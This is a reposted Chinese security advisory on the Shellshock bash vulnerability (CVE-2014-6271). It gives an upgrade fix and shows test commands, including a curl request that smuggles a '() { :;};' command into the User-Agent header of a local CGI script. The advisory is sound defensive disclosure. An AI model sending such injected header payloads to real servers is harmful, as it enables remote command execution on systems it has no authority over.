安恒信息提示漏洞:CVE-2014-6271 bash远程命令执行漏洞

今日爆出CVE-2014-6271 bash远程命令执行漏洞。bash是Linux用户广泛使用的一款用于控制命令提示符工具,导致该漏洞影响范围甚广。同时,当HTTP服务开放CGI服务或其他地方引用bash时可直接导致远程命令执行漏洞。主要影响系统为ubuntu centos debian suse readhat等主流linux操作系统。漏洞危害主要表现在:影响基于bash开放的服务、程序。当网站利用CGI执行bash后可导致攻击者远程执行系统命令,从而可以利用系统命令反弹shell之后进行内网渗透、挂马、篡改主页、脱库等行为。

我们建议修复方式:升级bash,升级命令为:

sudo apt-get update && sudo apt-get install --only-upgrade bash

漏洞分析:

Bash(Bourne Again SHell)中ENV指令

1. ENV指令允许临时改变环境变量,即指定本次指令执行的环境变量,这从一定程度上给了黑客进行PATH Hajaking的可能性

2. ENV指令还允许在设置环境变量后进行指令执行,从某种程度上来说,ENV相当于一个指令执行的指令,同时还附带有临时设置环境变量的功能

ENV的指令执行走的是正常的BASH指令解析、执行流程,而在一个采取了安全配置的服务器上,对敏感指令的执行都是进行用户级别的权限限制的,所以,ENV本身并不是任意指令执行。真正导致命令任意执行的原因是"Code Injection",即代码注入

1. httpd

1) webserver常常将Referer、UserAgent、header等参数作为环境变量的设置源

2) 服务器提供了CGI脚本,当 CGI script被webserver执行的时候,CGI Script会去调用Bash

攻击者可以通过开启了CGI的httpd服务器进行远程代码执行

测试方法:

本地测试

root@kali:~# env x='() { :;}; echo dbapp' bash -c "echo this is a test"

dbapp

this is a test

如果出现这个结果,则说明本机的bash存在漏洞

httpd远程命令执行测试

[root@host cgi-bin]# rm -fr /tmp/aa

[root@host cgi-bin]# cat /var/www/cgi-bin/hi

#!/bin/bash

echo "Content-type: text/html"

echo ""

echo "dbapp"

[root@host cgi-bin]# curl -k -H 'User-Agent: () { :;}; echo aa>/tmp/aa' https://localhost/cgi-bin/hi

dbapp

[root@host cgi-bin]# tail -n1 /var/log/httpd/ssl_access_log

::1 - - [24/Sep/2014:18:22:05 +0200] "GET /cgi-bin/hi HTTP/1.1" 200 4 "-" "() { :;}; echo aa>/tmp/aa"

[root@host cgi-bin]# ls -l /tmp/aa

-rw-r--r--. 1 apache apache 3 24 sept. 18:22 /tmp/aa

[root@host cgi-bin]# sestatus

SELinux status: enabled

原文发布于微信公众号 - 安恒信息(DBAPP2013)

原文发表时间:2014-09-25

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏云计算教程系列

如何在Debian 9上使用mod_rewrite为Apache重写URL

Apache的mod_rewrite模块允许您以更干净的方式重写URL,将人类可读的路径转换为代码友好的查询字符串。它还允许您根据条件重写URL。

17940
来自专栏代码世界

Django 相关

Web框架本质   其实所有的Web应用本质就是一个socket服务端,而用户的浏览器就是一个socket客户端。简单的socket代码如下: import s...

361110

Web服务器压力测试工具Siege

Siege是一款HTTP压力测试和基准测试的实用工具,可用于在压力条件下对Web服务器的性能进行测量。它的评估依据包括传输数据量、服务器的响应时间、事务处理速率...

35430
来自专栏云计算与大数据

研发:Redis4.0 编译安装

4. 采用make PREFIX=/usr/local/redis install

16420
来自专栏IMWeb前端团队

FIS源码-增量编译与依赖扫描细节

前面已经提到了fis release命令大致的运行流程。本文会进一步讲解增量编译以及依赖扫描的一些细节。 首先,在fis release后加上--watch参数...

281100
来自专栏数据和云

故障诊断 | 系统级追踪诊断方法及案例分享

所谓操作系统,是应用程序与服务器硬件进行沟通的中间层。应用程序的所有操作,都是和操作系统进行沟通交互。操作系统负责将所有交互转化为设备语言,进行硬件交互。 我们...

35630
来自专栏编舟记

java9 模块化系统小试

JPMS 全称是 Java Platform Module system(Java 平台模块化系统)。它的目的简单直接:编译期间检查和强化封装。随之而来的好处就...

19330
来自专栏从零开始学自动化测试

python测试开发django-1.开始hello world!

当你想走上测试开发之路,用python开发出一个web页面的时候,需要找一个支持python语言的web框架。django框架有丰富的文档和学习资料,也是非常成...

19530
来自专栏一“技”之长

Git命令集之一——配置参数 原

这个命令用于修改git命令执行的目录,例如在桌面执行如下命令和进入到IBox文件夹中执行status是一样的:

6810
来自专栏阿杜的世界

Serviceability Agent介绍简单介绍安装使用模式入门示例SA的其他工具参考资料

构建高性能的Java应用过程中,必然会遇到各种各样的问题,像CPU飙高、内存泄漏、应用奔溃,以及其他疑难杂症,这时可以使用Serviceability Agen...

23030

扫码关注云+社区

领取腾讯云代金券